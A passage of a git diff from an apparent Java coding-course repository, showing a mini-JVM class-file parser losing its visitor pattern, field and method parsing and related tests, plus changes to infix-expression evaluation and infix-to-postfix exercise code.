-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
index c8e65ff493..aea9048ea4 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -21,8 +21,4 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
index 88353df2d3..5d66317801 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -18,6 +18,11 @@ public ConstantInfo(ConstantPool pool) {
 		this.constantPool = pool;
 	}
 	public abstract int getType();
+
+	@Override
+	public String toString(){
+		return super.toString();
+	}
 	
 	public ConstantPool getConstantPool() {
 		return constantPool;
@@ -26,15 +31,4 @@ public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
 	
-	public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
index 86c0445695..f92c8028b9 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -1,11 +1,11 @@
 package com.coderising.jvm.constant;
 
-import java.util.ArrayList;
+import java.util.LinkedList;
 import java.util.List;
 
 public class ConstantPool {
 	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	private List<ConstantInfo> constantInfos = new LinkedList<ConstantInfo>();
 	
 	
 	public ConstantPool(){
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
index 7ae71396ef..65475e194c 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -51,8 +51,4 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);		
-	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
index c85d1c8ccd..65c586916c 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -27,7 +27,8 @@ public int getNameAndTypeIndex() {
 	public void setNameAndTypeIndex(int nameAndTypeIndex) {
 		this.nameAndTypeIndex = nameAndTypeIndex;
 	}
-	
+
+	@Override
 	public String toString(){
 	
 		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
@@ -49,11 +50,6 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);		
-	}
 	
 	
 	
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
index e4f6d027e0..b9d9185ef8 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -46,10 +46,4 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-		
-	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
index 41e0fd7e7a..936736016f 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -9,9 +9,5 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
-	@Override
-	public void accept(Visitor visitor) {
-				
-	}
 	
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
index 6bfcb47273..f1f8eb4ed4 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -22,11 +22,5 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-		
-	}
 	
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
index 7db88a939e..5cac9f04f7 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -26,11 +26,6 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-		
-	}
 	
 	
 
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/field/Field.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/field/Field.java
deleted file mode 100644
index acbb77410a..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-    private int accessFlag;
-    private int nameIndex;
-    private int descriptorIndex;
-
-
-    private ConstantPool pool;
-
-    public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
-
-        this.accessFlag = accessFlag;
-        this.nameIndex = nameIndex;
-        this.descriptorIndex = descriptorIndex;
-        this.pool = pool;
-    }
-
-    @Override
-    public String toString() {
-        String name = pool.getUTF8String(nameIndex);
-        String descr = pool.getUTF8String(descriptorIndex);
-
-        return name+":"+descr;
-    }
-
-    public static Field parse(ConstantPool pool, ByteCodeIterator iter) {
-        int accessFlag = iter.nextU2Int();
-        int nameIndex = iter.nextU2Int();
-        int descriptorIndex = iter.nextU2Int();
-
-        int attributsCount = iter.nextU2Int();
-
-        if (attributsCount > 0) {
-            throw new RuntimeException("field : " + ((UTF8Info) pool.getConstantInfo(nameIndex)).getValue() + "has attributes to be implemented !!");
-        }
-
-        Field field = new Field(accessFlag,nameIndex,descriptorIndex,pool);
-        return field;
-    }
-
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
index 59d072ef0b..e4c5c83681 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -5,50 +5,30 @@
 import java.util.Arrays;
 
 public class ByteCodeIterator {
-    private byte[] code;
+    private byte[] code ;
     private int pos = 0;
 
     public ByteCodeIterator(byte[] code) {
         this.code = code;
     }
 
-    public byte[] getBytes(int length) {
-        if (pos + length >= code.length) {
-            throw new IndexOutOfBoundsException("not enough bytes!");
-        }
-        byte[] bytes = Arrays.copyOfRange(code, pos, pos + length);
-        pos += length;
-        return bytes;
-    }
-
-    public int nextU1Int() {
+    public int nextU1Int(){
         return Util.byteToInt(new byte[]{code[pos++]});
     }
+    public int nextU2Int(){
 
-    public int nextU2Int() {
-
-        return Util.byteToInt(new byte[]{code[pos++], code[pos++]});
+        return Util.byteToInt(new byte[]{code[pos++],code[pos++]});
     }
-
-    public int nextU4Int() {
-        return Util.byteToInt(new byte[]{code[pos++], code[pos++], code[pos++], code[pos++]});
+    public String nextU4HexString(){
+        return Util.byteToHexString(new byte[]{code[pos++],code[pos++],code[pos++],code[pos++]});
     }
 
-    public String nextU4HexString() {
-        return Util.byteToHexString(new byte[]{code[pos++], code[pos++], code[pos++], code[pos++]});
-    }
-
-    public String nextUxToHexString(int len) {
-        byte[] tmp = new byte[len];
-
-        for (int i = 0; i < len; i++) {
-            tmp[i] = code[pos++];
+    public byte[] getBytes(int length){
+        if(pos+length >= code.length){
+            throw new IndexOutOfBoundsException("not enough bytes!");
         }
-        return Util.byteToHexString(tmp).toLowerCase();
-
-    }
-
-    public void back(int n) {
-        this.pos -= n;
+        byte[] bytes = Arrays.copyOfRange(code,pos,pos+length);
+        pos += length;
+        return bytes;
     }
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
index e9bfa54720..0c35bca807 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -4,8 +4,6 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
 import com.coderising.jvm.constant.*;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
 
 import java.io.UnsupportedEncodingException;
 
@@ -28,10 +26,6 @@ public ClassFile parse(byte[] codes) {
         clzFile.setAccessFlag(parseAccessFlag(iterator));
         clzFile.setClassIndex(parseClassIndex(iterator));
 
-        parseInterfaces(iterator);
-        parseFields(clzFile,iterator);
-        parseMethods(clzFile,iterator);
-
         return clzFile;
     }
 
@@ -108,34 +102,8 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
             }
 
         }
-		System.out.println("Finished reading Constant pool ");
         return pool;
     }
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2Int();
-
-		System.out.println("interfaceCount:" + interfaceCount);
-
-		// TODO : 如果实现了interface, 这里需要解析
-	}
-
-    private void parseFields(ClassFile clazzFile,ByteCodeIterator iterator){
-        int fieldCount = iterator.nextU2Int();
-        for (int i = 0 ;i<fieldCount;i++){
-            Field field = Field.parse(clazzFile.getConstantPool(),iterator);
-            clazzFile.addField(field);
-        }
-
-    }
-
-    private void parseMethods(ClassFile clazzFile,ByteCodeIterator iterator){
-        int methodCount = iterator.nextU2Int();
-        for(int i = 0;i<methodCount;i++){
-            Method method = Method.parse(clazzFile,iterator);
-            clazzFile.addMethod(method);
-        }
-
-    }
 
 
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/method/Method.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/method/Method.java
deleted file mode 100644
index d7716bf181..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,98 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Method {
-
-    private int accessFlag;
-    private int nameIndex;
-    private int descriptorIndex;
-
-    private CodeAttr codeAttr;
-
-    private ClassFile clzFile;
-
-
-    public ClassFile getClzFile() {
-        return clzFile;
-    }
-
-    public int getNameIndex() {
-        return nameIndex;
-    }
-
-    public int getDescriptorIndex() {
-        return descriptorIndex;
-    }
-
-    public CodeAttr getCodeAttr() {
-        return codeAttr;
-    }
-
-    public void setCodeAttr(CodeAttr code) {
-        this.codeAttr = code;
-    }
-
-    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
-        this.clzFile = clzFile;
-        this.accessFlag = accessFlag;
-        this.nameIndex = nameIndex;
-        this.descriptorIndex = descriptorIndex;
-    }
-
-
-    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
-
-        int accessFlag = iter.nextU2Int();
-        int nameIndex = iter.nextU2Int();
-        int descriptorIndex = iter.nextU2Int();
-
-        Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
-
-        int attirbutesCount = iter.nextU2Int();
-        //解析属性
-        for (int i = 0; i < attirbutesCount; i++) {
-            int attributeNameIndex = iter.nextU2Int();
-            iter.back(2);
-            String attributeName = ((UTF8Info) clzFile.getConstantPool().getConstantInfo(attributeNameIndex)).getValue();
-            //解析CODE
-            if (null != attributeName && attributeName.equalsIgnoreCase(AttributeInfo.CODE)) {
-                CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-                method.setCodeAttr(codeAttr);
-
-            } else {
-                throw new RuntimeException("there's other method attribute to be implemented:attributeName = " + attributeName);
-            }
-        }
-
-        return method;
-
-    }
-	
-	public ByteCodeCommand[] getCmds() {
-		return this.getCodeAttr().getCmds();
-	}
-	
-	public String toString() {
-		
-		ConstantPool pool = this.clzFile.getConstantPool();
-		StringBuilder buffer = new StringBuilder();
-		
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		
-		buffer.append(name).append(":").append(desc).append("\n");
-		
-		buffer.append(this.codeAttr.toString(pool));
-		
-		return buffer.toString();
-	}
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index ac8be13069..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMajorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "/Users/guodongchow/Desktop/coding2017/";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 460c003aac..0000000000
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,83 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-
-		System.out.println("Constant Pool:");
-
-		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
-
-			@Override
-			public void visitString(StringInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("String    #").append(info.getIndex());
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visitNameAndType(NameAndTypeInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("NameAndType    #").append(info.getNameIndex()).append(":#")
-						.append(info.getDescriptorIndex());
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visitMethodRef(MethodRefInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("MethodRef    #").append(info.getClassInfoIndex()).append(".#")
-						.append(info.getNameAndTypeIndex());
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visitFieldRef(FieldRefInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("FieldRef    #").append(info.getClassInfoIndex()).append(".#")
-						.append(info.getNameAndTypeIndex());
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visitClassInfo(ClassInfo info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("Class    #").append(info.getUtf8Index())
-						.append("  ").append(info.getClassName());
-
-				System.out.println(buffer);
-
-			}
-
-			@Override
-			public void visistUTF8(UTF8Info info) {
-				StringBuilder buffer = new StringBuilder();
-				buffer.append("UTF8    ").append(info.getValue());
-				System.out.println(buffer);
-
-			}
-		};
-
-		for(int i=1; i<=pool.getSize(); i++){
-			ConstantInfo constantInfo = pool.getConstantInfo(i);
-			System.out.print("#"+i+"=");
-			constantInfo.accept(visitor);
-		}
-	}
-}
\ No newline at end of file
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 8a522e4338..b3b281bc8a 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -2,20 +2,15 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coderising.jvm.constant.*;
-import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
-import java.util.List;
+
+
 
 
 public class ClassFileloaderTest {
@@ -23,15 +18,14 @@ public class ClassFileloaderTest {
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 
-//	static String path1 = "/Users/guodongchow/Desktop/coding2017/projects/mini-jvm/bin/";
-	static String path1 = "/Users/guodongchow/Desktop/coding2017/";
-	static String path2 = "/Users/guodongchow/bin/";
+	static String path1 = "/Users/guodongchow/Desktop/coding2017/projects/mini-jvm/bin/";
+	static String path2 = "/Users/guodongchow/bin";
 	
 	static ClassFile clzFile = null;
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		String className = "EmployeeV1";
+		String className = "com.coderising.jvm.test.EmployeeV1";
 		
 		clzFile = loader.loadClass(className);
 		clzFile.print();
@@ -65,7 +59,7 @@ public void testClassFileLength() {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
 		
-		String className = "EmployeeV1";
+		String className = "com.coderising.jvm.test.EmployeeV1";
 
 		byte[] byteCodes = loader.readBinaryCode(className);
 
@@ -109,7 +103,10 @@ private String byteToHexString(byte[] codes ){
 	}
 	
 	
-
+	
+	
+	
+	
 	@Test
     public void testVersion(){    			
 		
@@ -196,151 +193,7 @@ public void testClassIndex(){
     	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
-
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool, m,
-					"setName",
-					"(Ljava/lang/String;)V",
-					"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool, m,
-					"setAge",
-					"(I)V",
-					"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool, m,
-					"sayHello",
-					"()V",
-					"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool, m,
-					"main",
-					"([Ljava/lang/String;)V",
-					"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
     
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-    
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand[] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand[] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand[] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = this.clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand[] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
-    }
    
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
 
 }
diff --git a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixExpr.java b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixExpr.java
index cebef21fa3..08918c490c 100644
--- a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixExpr.java
+++ b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -25,16 +25,22 @@ public float evaluate() {
 			
 			if (token.isOperator()){
 				
-				while(!opStack.isEmpty() 
-						&& !token.hasHigherPriority(opStack.peek())){
-					Token prevOperator = opStack.pop();
-					Float f2 = numStack.pop();
-					Float f1 = numStack.pop();
-					Float result = calculate(prevOperator.toString(), f1,f2);
-					numStack.push(result);						
+				if(opStack.isEmpty()){
 					
+					opStack.push(token);
+				} else{
+					
+					while(!opStack.isEmpty() 
+							&& !token.hasHigherPriority(opStack.peek())){
+						Token prevOperator = opStack.pop();
+						Float f2 = numStack.pop();
+						Float f1 = numStack.pop();
+						Float result = calculate(prevOperator.toString(), f1,f2);
+						numStack.push(result);						
+						
+					}
+					opStack.push(token);
 				}
-				opStack.push(token);
 			} 
 			if(token.isNumber()){
 				numStack.push(new Float(token.getIntValue()));
diff --git a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfix.java b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfix.java
index 2288e3bd29..d52ec73bd3 100644
--- a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfix.java
+++ b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -1,43 +1,35 @@
 package com.coding.basic.stack.expr;
 
-import java.util.ArrayList;
 import java.util.List;
 import java.util.Stack;
 
 public class InfixToPostfix {
 
 	public static List<Token> convert(String expr) {
-		List<Token> inFixTokens = new TokenParser().parse(expr);
-		
-		List<Token> postFixTokens = new ArrayList<>();
-		
-		Stack<Token> opStack = new Stack<Token>();
-		for(Token token : inFixTokens){
-			
-			if(token.isOperator()){
-				
-				while(!opStack.isEmpty() 
-						&& !token.hasHigherPriority(opStack.peek())){
-					postFixTokens.add(opStack.pop());					
-					
-				}
-				opStack.push(token);		
-				
+		return null;
+	}
+
+	public static void main(String[] args) {
+		Stack<Character> stack = new Stack<Character>();
+		String expr = "1+((2+3)*4)-5";
+		for(int i=0;i<expr.length(); i++){	
+			char c = expr.charAt(i);
+			if(c == '+'){
+				stack.push(c);
 			}
-			if(token.isNumber()){
-				
-				postFixTokens.add(token);
-				
+			else if(c == '*'){
+				stack.push(c);
+			}
+			else if(c == ')'){
+				System.out.print(stack.pop() + " ");
+			}
+			else if(c == '('){
+				System.out.print(" ");
+			} else{
+				System.out.print(c +" ");
 			}
 		}
-		
-		while(!opStack.isEmpty()){
-			postFixTokens.add(opStack.pop());	
-		}
-		
-		return postFixTokens;
+		System.out.println("");
 	}
 
-	
-
 }
diff --git a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfixTest.java b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfixTest.java
deleted file mode 100644
index f879f55f14..0000000000
--- a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfixTest.java
+++ /dev/null
@@ -1,41 +0,0 @@
